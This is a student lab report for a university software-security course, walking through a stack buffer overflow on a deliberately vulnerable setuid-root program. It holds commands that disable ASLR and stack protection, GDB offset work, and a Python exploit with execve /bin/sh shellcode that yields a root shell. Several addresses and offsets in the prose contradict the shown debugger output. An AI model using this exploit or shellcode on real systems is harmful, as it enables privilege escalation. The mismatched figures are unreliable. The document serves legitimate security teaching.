Kingdom of Saudi Arabia **Ministry of Education** **University of Jeddah** **College of Science and Computer Engineering**	جامعة جدة University of Jeddah	**المملكة العربية السعودية** **وزارة التعليم** **جامعة جدّة** **كلية علوم وهندسة الحاسب**

CCCY 322: Software Security

Buffer Overflow Attack

By Shahad Alharbi - 2210697

1. Turning Off Countermeasures

Initially, I turned off address space randomization to make exploiting a buffer overflow vulnerability easier. I executed this command to make sure that buffer memory addresses would not change. Because it enables me to directly target particular memory locations, this predictability is essential for developing successful vulnerabilities. I observed that the addresses remained the same throughout executions after turning it off.

```
seed@ShahadAlharbi:~/Downloads$sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

2. Compilation

Next, I compiled the source code using the GCC compiler with the options -z execstack to make the stack executable and -fno-stack-protector to disable stack protection. This configuration ensures that the stack is vulnerable to exploitation. I confirmed that the stack was executable and that stack protection mechanisms were disabled.

```
seed@ShahadAlharbi:~/Downloads$gcc -z execstack -fno-stack-protector -o stack st
ack.c
seed@ShahadAlharbi:~/Downloads$
```

I then changed the ownership permissions of the program to root.

```
seed@ShahadAlharbi:~/Downloads$sudo chown root stack
seed@ShahadAlharbi:~/Downloads$sudo chmod 4755 stack
seed@ShahadAlharbi:~/Downloads$ls -l
total 24
-rw-rw-r-- 1 seed seed  975 Jan 25 12:22 call_shellcode.c
-rw-rw-r-- 1 seed seed 1294 Jan 25 12:22 exploit.c
-rw-rw-r-- 1 seed seed 1020 Jan 25 12:22 exploit.py
-rwsr-xr-x 1 root seed 7516 Jan 25 12:34 stack
-rw-rw-r-- 1 seed seed 1016 Jan 25 12:13 stack.c
seed@ShahadAlharbi:~/Downloads$
```

3. Generating Test Data

I created a random data file using head -c 28 /dev/urandom > badfile and then head -c 700 > badfile to test the compiled stack executable. As a result, the stack program ran with a segmentation fault.

```
seed@ShahadAlharbi:~/Downloads$head -c 28 /dev/urandom > badfile
seed@ShahadAlharbi:~/Downloads$./stack
Returned Properly
seed@ShahadAlharbi:~/Downloads$head -c 700 /dev/urandom > badfile
seed@ShahadAlharbi:~/Downloads$./stack
Segmentation fault
seed@ShahadAlharbi:~/Downloads$
```

4. Investigation

To investigate the addresses needed, I should create debugging symbol by this command and the output will be a debugging file called stack_dbg.

```
/bin/bash
/bin/bash 80x26
seed@ShahadAlharbi:~/Downloads$gcc -z execstack -fno-stack-protector -g -o stack
_dbg stack.c
seed@ShahadAlharbi:~/Downloads$ls
badfil   call_shellcode.c  exploit.py  stack.c
badfile  exploit.c         stack       stack_dbg
```

To investigate breakpoint locations, I opened the GDB tool After loading the symbols, I set a breakpoint at the function bof using the command:

```
seed@ShahadAlharbi:~/Downloads$gdb -q stack_dbg
Reading symbols from stack_dbg...done.
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1: file stack.c, line 21.
```

After setting the breakpoint, I started the program execution in GDB using the command:

```
gdb-peda$ run
Starting program: /home/seed/Downloads/stack_dbg
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".

[----------------------------------registers-----------------------------------]
EAX: 0xbfffea57 --> 0x9ae8cb6d
EBX: 0x0
ECX: 0x804fb20 --> 0x0
EDX: 0x205
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
EBP: 0xbfffe9d8 --> 0xbfffec68 --> 0x0
ESP: 0xbfffe960 --> 0x804a00c --> 0xb7dc8880 (<__GI__IO_fread>: push   ebp)
EIP: 0x80484f1 (<bof+6>:        sub    esp,0x8)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
```

I used the command p $ebp to examine the ebp register in order to look at the memory layout; this gave me the address 0xbffffe98. I then used p $buffer to look at the buffer's location, which I found to be at 0xbffffe9c. I discovered that the buffer begins 108 bytes
above the ebp register by computing the difference between these two addresses. In order to properly set up my payload in the badfile, I must take into consideration the four extra bytes in order to inject the return address.

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfffe9d8
gdb-peda$ p &buffer
$2 = (char (*)[100]) 0xbfffe96c
gdb-peda$ p/d 0xbfffe9d8 - 0xbfffe96c
$3 = 108
gdb-peda$
```

5. Launching Attacks

Next, I edited the Python code based on the results from the investigation. The return address (Ret) was set to the address of the ebp register plus 120, accounting for the offset of 112 bytes from the previous calculation, plus 4 bytes to reach the return address. After editing the code, I ran the Python script to write the payload to badfile and made the script executable.

```
#!/usr/bin/python3
import sys

shellcode= (
   "\x31\xc0"     # xorl    %eax,%eax
   "\x50"         # pushl   %eax
   "\x68""//sh"   # pushl   $0x68732f2f
   "\x68""/bin"   # pushl   $0x6e69622f
   "\x89\xe3"     # movl    %esp,%ebx
   "\x50"         # pushl   %eax
   "\x53"         # pushl   %ebx
   "\x89\xe1"     # movl    %esp,%ecx
   "\x99"         # cdq
   "\xb0\x0b"     # movb    $0x0b,%al
   "\xcd\x80"     # int     $0x80
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode

##################################################################
ret    = 0xbfffe9d8+120    # replace 0xAABBCCDD with the correct value
offset = 112               # replace 0 with the correct value

content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

```
seed@ShahadAlharbi:~/Downloads$python3 exploit.py
seed@ShahadAlharbi:~/Downloads$chmod +x exploit.py
seed@ShahadAlharbi:~/Downloads$ls
```

```
seed@ShahadAlharbi:~/Downloads$exploit.py
```

In order to take advantage of the vulnerability in the stack program, I used a Python script to write the payload to badfile and then ran the program with./stack. After reading the payload, the program changed the stack and overwrote the return address. This resulted in unexpected behavior, proving that the buffer overflow vulnerability worked.

```
seed@ShahadAlharbi:~/Downloads$./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

6. Observations and Conclusions

I noticed in the Buffer Overflow Attack Lab that enabling consistent memory addresses by disabling address space randomization made it simpler to take advantage of vulnerabilities. Segmentation errors during testing confirmed the buffer overflow problem. I was able to create the payload more easily after using GDB to discover that the buffer was situated 108 bytes above the ebp register. The software displayed unexpected behavior

when the payload was run, indicating that the exploit was successful. These results emphasize how important it is to comprehend memory management and the dangers of buffer overflow vulnerabilities in software.